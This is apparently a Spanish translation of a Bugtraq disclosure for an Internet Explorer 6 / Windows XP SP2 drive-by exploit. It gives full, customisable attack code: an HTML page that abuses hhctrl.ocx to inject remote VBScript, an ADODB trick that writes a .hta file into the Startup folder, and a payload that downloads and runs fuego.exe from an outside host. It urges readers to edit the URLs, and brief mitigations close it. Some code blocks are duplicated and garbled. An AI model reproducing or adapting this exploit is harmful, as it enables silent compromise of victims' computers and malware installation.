Sistemas vulnerables
- Microsoft Internet Explorer 6.0
- Microsoft Windows XP Pro SP2
- Microsoft Windows XP Home SP2
Introducción
Michael Evanchik (http://www.michaelevanchik.com) y Paul de Greyhats Security (http://greyhats.cjb.net), han descubierto una vulenrabilidad crítica en el Windows/Internet Explorer que puede comprometer el sistema sin que sea necesaria la intervención del usuario final (víctima), simplemente vistando una página web especialmente creada por un atacante, se puede descargar y ejecutar un archivo en el sistema de la vícitma si este es vulnerable.
Esta no es una nueva vulnerabilidad propiamente dicha, sino que es el conjunto de varios agujeros ya conocidos que afectan al SP2.
Explicación
1. Crea una página web con el siguiente código:
sp2rc.htm
Código:
<OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\
PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>
<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write(\"<script language=\\\"vbscript\\\"
src=\\\"http://cyruxnet.org/ie/writehta.txt\\\"\"+String.fromCharCode(62)+\"
</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\
PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>
<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write(\"<script language=\\\"vbscript\\\"
src=\\\"http://cyruxnet.org/ie/writehta.txt\\\"\"+String.fromCharCode(62)+\"
</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
Nota:
Edita la cadena "http://cyruxnet.org/ie/writehta.txt" para personalizar el archivo.
Explicación del código
El priner objeto (id: localpage) le dice al hhctrl.ocx que abra una ventana de ayuda que apunte hacia el archivo: C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm.
Se ha escogido este archivo porque es tratado bajo la zona de seguridad local y no contiene ningún script que nos pueda molestar (en algunos equipos puede aprecer una ventana de error antes de aparecer la ventana).
El segundo objeto (id: inject) le dice a la ventana de ayuda, mediante un javascript que vaya hasta un archivo writehta.txt situado en una web determinada (en este caso http://cyruxnet.org/writehta.txt).
Lo que consigue este objeto realmente es un típico Cross Site Scripting, gracias al cual el archivo remoto (writehta.txt) es ejecutado en la ventana de ayuda, que a su vez se encuentra bajo la zona de seguridad local.
En el script se utiliza la función HHClick para evitar que el usuario tenga que hacerl click en un botón para reproducir la vulnerabilidad.
2. El archivo Writehta.txt
En este archivo se utiliza el "adob recordset" para escribir el archivo "Microsoft Office.hta" en la carpeta de inicio del usuario.
Para una explicación mas detallada del "adob recordset" consulta el análisis de Michael Evanchik's de la vulnerabilidad de "drag and drop": http://www.michaelevanchik.com/kara/scrolll/notagain.txt
Crea el archivo "writehta.txt" con el siguiente código:
Código:
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://cyruxnet.org;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save
"C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\Microsoft Office.hta", adPersistXML
// English \Documents and Settings\All Users\Start Menu\Programs\Startup\
// Spanish \Documents and Settings\All Users\Menu Inicio\Programas\Inicio\
// French \Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage
// Danish \Documents and Settings\All Users\Menuen Start\Programmer\Start\
// Dutch \Documents and Settings\All Users\Menu Start\Programma's\Opstarten\
// Polish \Documents and Settings\All Users\Menu Start\Programy\Autostart\
// Italian \Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\
// Finn \Documents and Settings\All Users\Kaynnista-valikko\Ohjelmat\Kaynnistys\
// Turkish \Documents and Settings\All Users\Start Menu\Programlar\BASLANGIC\ Turkish
// Norwegian \Documents and Settings\All Users\Start-meny\Programmer\Oppstart\
// Swedish \Documents and Settings\All Users\Start-menyn\Program\Autostart\
// Portuguese \Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\
// German \Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\
rs.close
conn.close
window.close
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://cyruxnet.org;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save
"C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\Microsoft Office.hta", adPersistXML
// English \Documents and Settings\All Users\Start Menu\Programs\Startup\
// Spanish \Documents and Settings\All Users\Menu Inicio\Programas\Inicio\
// French \Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage
// Danish \Documents and Settings\All Users\Menuen Start\Programmer\Start\
// Dutch \Documents and Settings\All Users\Menu Start\Programma's\Opstarten\
// Polish \Documents and Settings\All Users\Menu Start\Programy\Autostart\
// Italian \Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\
// Finn \Documents and Settings\All Users\Kaynnista-valikko\Ohjelmat\Kaynnistys\
// Turkish \Documents and Settings\All Users\Start Menu\Programlar\BASLANGIC\ Turkish
// Norwegian \Documents and Settings\All Users\Start-meny\Programmer\Oppstart\
// Swedish \Documents and Settings\All Users\Start-menyn\Program\Autostart\
// Portuguese \Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\
// German \Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\
rs.close
conn.close
window.close
Nota:
Edita la cadena "http://cycruxnet.org" para personalizar el archivo.
3. El archivo f00bar.txt
Este archivo es requerido por el "adob recorset" como se indica en la página de Michael Evanchik's.
El método utilizado para guardar un archivo en el disco duro del usuario es antiguo pero efectivo.
Crea el archivo "f00bar.txt" con el siguiente código :
Código:
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://cyruxnet.org/ie/fuego.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\fuego.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\fuego.exe"", 3, FALSE : crap="""
"""</script> crap="""
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://cyruxnet.org/ie/fuego.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\fuego.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\fuego.exe"", 3, FALSE : crap="""
"""</script> crap="""
Nota:
Edita la cadena "http://cyruxnet.org/ie/fuego.exe" y "fuego.exe" para personalizar el archivo.
Y con esto, ya está todo, ahora el sistema de la víctima ya está comprometido.
Algunos Win2k3 no incluyen el archivo hhtctrl.ocx en este caso, será necesario subir el archivo al PC para poder probar el exploit.
Prueba de concepto: http://cyruxnet.org/ie/sp2rc_es.htm
Prueba de concepto original publicada en bugtraq (para versiones en inglés): http://freehost07.websamba.com/greyhats/sp2rc.htm
Si aparece un error, pulsa OK, es normal
Si todo ha ido bien, y has utilizado los archivos con las rutas, tal y como están publicados aquí,en tu carpeta de inicio se habrá crearo el archivo "Microsoft Office.hta" cuando se ejecute descargará y ejecutará un archivo inofensivo.
Recomendaciones
- Deshabilita los archivos .hta
- Utiliza un antivirus
- Deshabilita el "active scripting" en el Internet Explorer
- No utilices el Internet Explorer, el Firefox es mucho mejor.
Autores
Paul from Greyhats
Michael Evanchik
Http equiv
Agradecimientos de los autores
- Liu Die Yu (todo el trabajo que has realizado es fantástico)
Contacto
paul greyhats cjb net
http://greyhats.cjb.net
http://michaelevanchik.com
Post original
http://www.securityfocus.com/archive/1/385472
Traducción al castellano y adaptación: CyruxNET
http://cyruxnet.org










Autor


En línea



